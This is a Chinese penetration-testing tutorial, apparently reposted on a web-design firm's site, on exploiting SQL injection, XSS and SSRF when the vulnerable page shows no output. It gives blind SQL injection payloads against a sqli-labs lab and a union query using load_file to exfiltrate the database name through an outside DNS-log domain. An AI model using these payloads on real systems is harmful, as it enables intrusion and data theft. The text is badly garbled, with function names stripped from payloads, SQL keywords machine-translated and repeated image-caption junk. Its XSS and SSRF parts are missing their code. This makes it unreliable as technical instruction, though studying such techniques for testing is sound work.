我们已经准备好了,你呢?

2024我们与您携手共赢,为您的企业形象保驾护航!

0x01前言

在渗透测试过程中,开发不可能每次都将结果输出到页面,即漏洞没有回显。 在这种情况下,我们可以判断是否存在漏洞或者启动http服务。 判断方法有很多种。 下面主要分析一些情况。

0x02 无回声概念

没有回显,即现场没有任何输出,无法进行进一步的操作。 在渗透测试过程中,漏洞点不可能总是在返回页面输出,所以这个时候就需要一些非回显的利用。

0x03 不同漏洞无回显 1、SQL注入无回显

SQL注入作为OWASP中一直占据榜首的漏洞,在no echo中也很常见。 当然,对于无回显的问题,SQL注入已经有了一定的解决方案。

我定义了 no echo,因为页面没有输出我们想要的内容。 我们以sqli-labs为例来解释一下。

1.1 布尔盲注

布尔盲注入是盲注入的一种。 当网站通过返回查询语句的布尔值true或false来输出页面信息时,如果查询语句为true,则页面将输出内容; 如果查询语句为 false,则页面不会输出内容。 那么这里就可以通过构造等号来判断,得到对应字符的ASCII码,最后恢复数据。 具体测试流程如下:

1、传递id参数1后,页面返回数据。 显然,这里不能进行错误注入。

php url 解析_解析几何_解析PHP执行过程

2、参数后面加单引号,页面返回空,不会显示错误信息,无法使用错误注入。

php url 解析_解析PHP执行过程_解析几何

3、通过拼接and 1=1和and 1=2,发现对于true和false布尔值,页面返回的页面结果也是不同的。

解析PHP执行过程_解析几何_php url 解析

php url 解析_解析PHP执行过程_解析几何

4、使用()函数判断数据库名长度是否大于1。

?id=1' 且 (())>1 %23

解析PHP执行过程_php url 解析_解析几何

5、当该值大于8时,页面返回空,因此数据库名称的长度等于8。

解析几何_php url 解析_解析PHP执行过程

6、通过ascii()函数和()截取函数获取数据库名第一个字符的ASCII码。

?id=1' 且 ascii((( ()),1,1))>97 %23

?id=1' 且 ascii((( ()),1,1))=101 %23

首先使用大于号确定近似值,最后使用等号验证ascii码的值。 这里得出数据库名第一个字符的ASCII码值为115,对应的字符为s。

解析PHP执行过程_php url 解析_解析几何

7、改变截取位置,确定后面字符对应的ASCII码值。

?id=1' 且 ascii((( ()),2,1))=101 %23

解析几何_解析PHP执行过程_php url 解析

1.2 延迟盲注

延迟盲注,一种盲注技术。 在渗透测试过程中,当我们无法使用显式错误注入、错误注入、布尔盲注入,并且无论布尔值是true还是false页面返回的结果都一样时,我们可以尝试使用延迟盲注入,即由加载页面所需的时间长度决定。 判断数据是否成功。 PHP中有一个if()函数。 语法为 if(exp1,exp2,exp3)。 当exp1返回true时,exp2被执行。 当 exp1 返回 false 时,执行 exp3。 配合延时函数sleep()获取对应数据的ascii码,最终恢复为数据。 下面我通过例子来介绍一下目前的延迟盲注入。

1、首先获取到的页面如下。 无论布尔值是 true 还是 false,页面都会返回相同的值。 这时候就不能使用布尔盲注了。

解析几何_解析PHP执行过程_php url 解析

解析PHP执行过程_解析几何_php url 解析

2、使用拼接延时功能检查页面是否有延时回显。 首先记录不使用延时功能的页面返回时间,为4.*秒; 使用sleep(5)延迟5秒后,页面响应时间为9.*秒,说明我们进入的sleep()函数已经延迟了。 时间处理,这里有一个延迟盲注。

解析几何_解析PHP执行过程_php url 解析

php url 解析_解析PHP执行过程_解析几何

3.通过延迟注入确定数据库名的长度。 经过测试发现,当长度等于8时,页面出现延迟返回,说明数据库名长度为8。

?id=2' 和 if(((())=8),sleep(5),1) %23

php url 解析_解析几何_解析PHP执行过程

4、和布尔盲注入一样,先截断子查询数据,然后确定ASCII码,相等时延迟5秒。 最后,第一个字符的ASCII码是115。

?id=2' 和 if((ascii((( ()),1,1))=115),sleep(5),1) %23

php url 解析_解析PHP执行过程_解析几何

5、稍后替换掉被截断的位置,并测试后面字符的ASCII码值。 最后对应的ascii码值为115 101 99 117 114 105 116 121。通过ascii解码工具得到数据库库名。

巧妙利用SQL注入

前面介绍过SQL注入中的盲注入。 通过布尔盲注入或延迟盲注入获取数据所需的步骤非常繁琐。 不仅需要逐个字符的获取,最后还需要进行ascii解码,需要花费大量的时间和精力。 活力。 为了加快渗透过程,降低获取数据的难度,这里介绍如何进行SQL注入。

即dns日志,会解析访问dns服务的记录并显示出来。 常用于测试是否存在漏洞,以及在无法获取数据时取出数据。 简单来说,它就是一个记录对它的所有访问的服务器,包括访问的域名、访问的IP、时间等。 然后我们就可以通过子查询、拼接域名、最后通过dns日志来获取需要的数据。

()功能

数据库中的()函数可以从服务器加载内容。 ('c:/1.txt'),读取文件并以字符串形式返回内容。 使用()函数获取数据需要满足以下条件:

1. 文件在服务器上

2.指定文件的完整路径

3.必须有FILE权限

UNC 路径

UNC 路径是\ 形式的网络路径。 它符合格式\服务器名称\服务器资源。 常用于共享系统中的文件。 如\192.168.1.1\共享文件夹名称。

注射实例演示

1. 打开示例站点。 显然,这是一个只能使用盲注的站点。

解析几何_php url 解析_解析PHP执行过程

2.使用order by确定字段数量为3。

解析PHP执行过程_php url 解析_解析几何

解析PHP执行过程_解析几何_php url 解析

3、网站申请域名:

4、通过函数拼接查询数据库名的子查询得到的域名,后面跟一个不存在的文件夹名。 最后,将此查询放入联合查询中并构造如下:

?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn
/abc')) %23

解析几何_解析PHP执行过程_php url 解析

5、执行该语句后,在日志中获取数据库名称。

6、修改子查询中的内容,获取其他数据。

2.XSS没有回显

XSS无回显是特殊的。 一般判断XSS漏洞的标准就是弹出框。 但有一种情况,在表单提交站点,提交内容后,页面上只会显示提交成功或失败,而不会输出提交的内容。 那么我们就无法通过弹框来判断是否存在XSS漏洞。 这时候就需要通过XSS盲打来进行攻击。 下面通过漏洞练习平台进行示例讲解:

2.1 XSS盲打

1、如图所示,这里是提交意见的功能。

解析PHP执行过程_解析几何_php url 解析

2. 输入内容并提交即可。 它会告诉我们提交成功。 我输入的内容不会返回到页面。

解析PHP执行过程_php url 解析_解析几何

3、登录后台可以看到确实有数据回显。

解析几何_解析PHP执行过程_php url 解析

4、输入的弹出语句会在后台成功执行。

解析几何_解析PHP执行过程_php url 解析

5、渗透测试时,我们无法登录后台查看,所以需要盲目输入XSS,进入XSS平台,等待管理员检查内容,上钩。

解析几何_php url 解析_解析PHP执行过程

2.2 判断是否存在漏洞

payload:

3.SSRF没有回声

SSRF是服务器端请求伪造,是攻击者构造的一种通过服务器发起请求的攻击。

测试代码如下:


首先,您可以通过访问百度来验证该漏洞是否存在。

如果没有回显,则不会有输出,页面将返回空。

php url 解析_解析几何_解析PHP执行过程

这种情况可以通过或者搭建一个http服务来验证

1、

://

二维码
扫一扫在手机端查看

本文链接:https://by928.com/184.html     转载请注明出处和本文链接!请遵守 《网站协议》
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。

项目经理在线

我们已经准备好了,你呢?

2020我们与您携手共赢,为您的企业形象保驾护航!

在线客服
联系方式

热线电话

13761152229

上班时间

周一到周五

公司电话

二维码
微信
线